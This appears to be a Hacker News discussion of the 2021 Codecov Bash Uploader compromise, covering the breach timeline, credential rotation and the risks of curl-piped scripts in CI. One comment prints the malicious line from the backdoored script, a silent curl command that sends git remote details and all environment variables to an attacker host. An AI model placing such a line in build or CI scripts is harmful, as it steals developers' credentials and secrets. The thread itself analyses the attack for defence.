Codecov Bash Uploader compromised

&gt; How did Codecov learn of this event?<p>&gt; A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from <a href="https:&#x2F;&#x2F;codecov.io&#x2F;bash" rel="nofollow">https:&#x2F;&#x2F;codecov.io&#x2F;bash</a>.<p>&gt; Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation.<p>shoutout to this user for actually checking the shasum

It took CodeCov 2 months to notice and only because a customer was checking sha. Then it took them 2 more weeks to notify customers. If they blocked the attack vector during that time then the attacker had a heads up to use credentials before customer&#x27;s rotated.<p>This is not a good look for CodeCov.<p>edit: It seems not even their own code that used the bash uploader (github action, circleci orb, etc.) checked the sha sum. No excuse about lack of user friendliness there.

So, on &quot;rotate your credentials&quot;, some of the things you&#x27;ll need to do:<p>- Does your CI job query any system using a service account? Time to rotate that service account password. Hope it wasn&#x27;t used by anything other than your CI system!<p>- Accessing systems using tokens instead of service accounts? Time to figure out how to invalidate those old tokens and gen a new one. (Also, time to find out if all the systems you use <i>can do that</i>)<p>- Using credentials as part of your build system, like downloading a for-pay plugin for a tool using a license key? Time to rotate those too.<p>- Time to rotate any license keys used at build-time.<p>- I hope you weren&#x27;t using IAM users! If you weren&#x27;t using instance profiles &#x2F; task profiles, time to rotate those secret access keys. (some things you have to use IAM users for, like SES, iirc)<p>- Time to invalidate everything you built since they were first compromised, invalidate all your caches, and re-build all your artifacts from scratch.<p>- Time to see if you had any customer information &#x2F; PII &#x2F; PHI &#x2F;etc accessible from your CI system.<p>- If you deploy from your CI system, it could be that <i>every</i> system is potentially compromised. In which case, get ready to re-deploy <i>everything</i> after you have flushed and re-built everything from above step.<p>- Start auditing, get PR to start drafting a sad letter to customers, and get someone to investigate how to reset customer passwords etc if needed.

Building the entire backbone of a CI product based on `bash &lt;(curl` script. Honestly. This is more like Play stupid games, win stupid prizes. Did someone even attempt to google &quot;don&#x27;t run random scripts from the internet&quot; here?<p>There is a world of a difference between offering a &quot;bash &lt;(curl&quot; for one-off development&#x2F;laptop use vs. giving official instructions to put it in a automation scripts. If someone is uploading code coverage reports for some language – they have way better, safer options. Maven packages, `go run`, npm packages, deb packages, etc. All of these have better security and checksumming built in.<p>From what&#x27;s seen in the report, even all their other products (github app, etc) were built on top of this bash uploader script, and even their own hosted solutions did not validate their checksum. Looks like they were pretty seriously pushing &quot;just source a script from internet&quot; as an official principle. Of course the CI was backdoored. Facepalm.

It took me a while to find this link, as helpfully the one they emailed out is checking some referral code and currently 500&#x27;ing.<p>I think we&#x27;re probably okay as we&#x27;re an open source project, do pure testing on cloud CI&#x27;s, and use the separate (non-bash) modules internally. Potentially compromising the GitHub app connection does sound immediately worrying, because of GitHub&#x27;s terribly lax token permissions (e.g. the &quot;All repositories or Nothing&quot; access) - if they saw what the app connection could see, would they be able to see all private repos?<p>I&#x27;m somewhat sympathetic to sites that suggest curl | bash as a once-off installation. Advocating that your users curl | bash every time you test your code does sound quite a bit more irresponsible.

Interesting that no hash&#x2F;checksum verification has been added in their CI actions, like here, yet: <a href="https:&#x2F;&#x2F;github.com&#x2F;codecov&#x2F;codecov-action&#x2F;blob&#x2F;master&#x2F;src&#x2F;index.ts#L11-L16" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;codecov&#x2F;codecov-action&#x2F;blob&#x2F;master&#x2F;src&#x2F;in...</a>

From Eli Hooten, CodeCov&#x27;s CTO, in a personal message:<p>&gt; Based on the nature of this attack I do not believe malicious actions were executed directly against the CI pipeline, nor do we have any evidence of it. I have included the malicious bash script for your review so you can fully understand the scope of the attack. Of interest is line 525<p>&gt; line 525 was the only change we&#x27;ve observed. I have removed the IP address in the curl command as it is part of an ongoing federal investigation<p>Compromised script: <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;davidrans&#x2F;ca6e9ffa5865983d9f6aa00b7a4a1d10" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;davidrans&#x2F;ca6e9ffa5865983d9f6aa00b7a...</a><p>And here&#x27;s line 525:<p><pre><code> curl -sm 0.5 -d &quot;$(git remote -v)&lt;&lt;&lt;&lt;&lt;&lt; ENV $(env)&quot; http:&#x2F;&#x2F;ATTACKERIP&#x2F;upload&#x2F;v2 || true</code></pre>

This is really unfortunate. Using a curl to fetch executable code from a static URL is dangerous for a lot of reasons, but doing it on every CI run is... asking for trouble.<p>That said, I’m sure tons of folks will say the same thing. But any dynamically fetched code&#x2F;modules&#x2F;packages will suffer the same risk. While we have to be vigilant with those risks, there’s a more important step we can take and that’s to stop using static credentials for things like CI.<p>Instead, we need to be building and using tools that can generate time-bounded temporary credentials. For example, today it’s common to put your AWS IAM user key and secret directly into Github’s secret storage where it feeds directly into environment variables that can leak through this sort of attack. Instead, GitHub should provide a way to delegate access to fetch temporary credentials that are only valid for a few minutes from AWS STS. Amazon has multiple ways to make this happen, but GitHub needs to support it and GitHub’s users would need to use it.<p>And sure, AWS is just one of many secrets you probably have to work with, but GitHub and GitLab are in a position to make this sort of dynamic secret infra really commonplace and severely cut back on the damage these sorts of exploits can do, so I hope they are making that effort.

Considering the data at risk, the delay in notifying users was too long. That&#x27;s 15 days in which the hacker was made aware to hastily make use of their stolen data.

&gt; How do I know what environment variables of mine may have been available to the actor? Collapse<p>&gt; You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system.<p>Be aware that the output will be sent to your CI output logs. If those logs are public (e.g. a FOSS project) then they will be publicly published and expose all your environment secrets.

&gt; How did Codecov learn of this event?<p>&gt; A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from <a href="https:&#x2F;&#x2F;codecov.io&#x2F;bash" rel="nofollow">https:&#x2F;&#x2F;codecov.io&#x2F;bash</a>.<p>&gt; Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation.<p>Just goes to show that checking published hashes is not as useless as it may seem.

I wish they&#x27;d release the code that was modified so a threat assessment can be made

&gt; Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you.<p>Right at the start of the article - classic bit of corporate&#x2F;PR BS to insulate the actually important information

It would be interesting to see what the compromised version of the bash script did, and how, more specifically.<p>Software supply chain attacks seem to become more common. I guess it&#x27;s no surprise, considering how powerful an attack vector it is.

Trying to suss out the damage but getting 502. Begs the question of who&#x27;s deploying static sites not behind a CDN? Assuming this site is static

And their page is down so I can&#x27;t find out any details. Great.

&gt; The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script.<p>Docker layers hiding secrets is a big problem. Any solution other than education?

Bleeping Computer may have identified the attackers IP in a screenshot? <a href="https:&#x2F;&#x2F;www.bleepingcomputer.com&#x2F;news&#x2F;security&#x2F;popular-codecov-code-coverage-tool-hacked-to-steal-dev-credentials&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.bleepingcomputer.com&#x2F;news&#x2F;security&#x2F;popular-codec...</a><p>104.248.94.23

This is a very concerning trend. The reliance on external tools is causing them to be a much more frequent attack vector.<p>SolarWinds, the Github actions thing, this.

Is it safe to assume that <a href="https:&#x2F;&#x2F;codecov.io&#x2F;env" rel="nofollow">https:&#x2F;&#x2F;codecov.io&#x2F;env</a> was not compromised?

Does anyone have the bash uploader script on hand with version 20210309-2b87ace?

does anybody know the shasum of the infected version of that script?

&quot;Is it safe to use Codecov systems and services?<p>Yes. Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect them.&quot;

shouts to whoever is out there rotating keys since the announcement of this incident.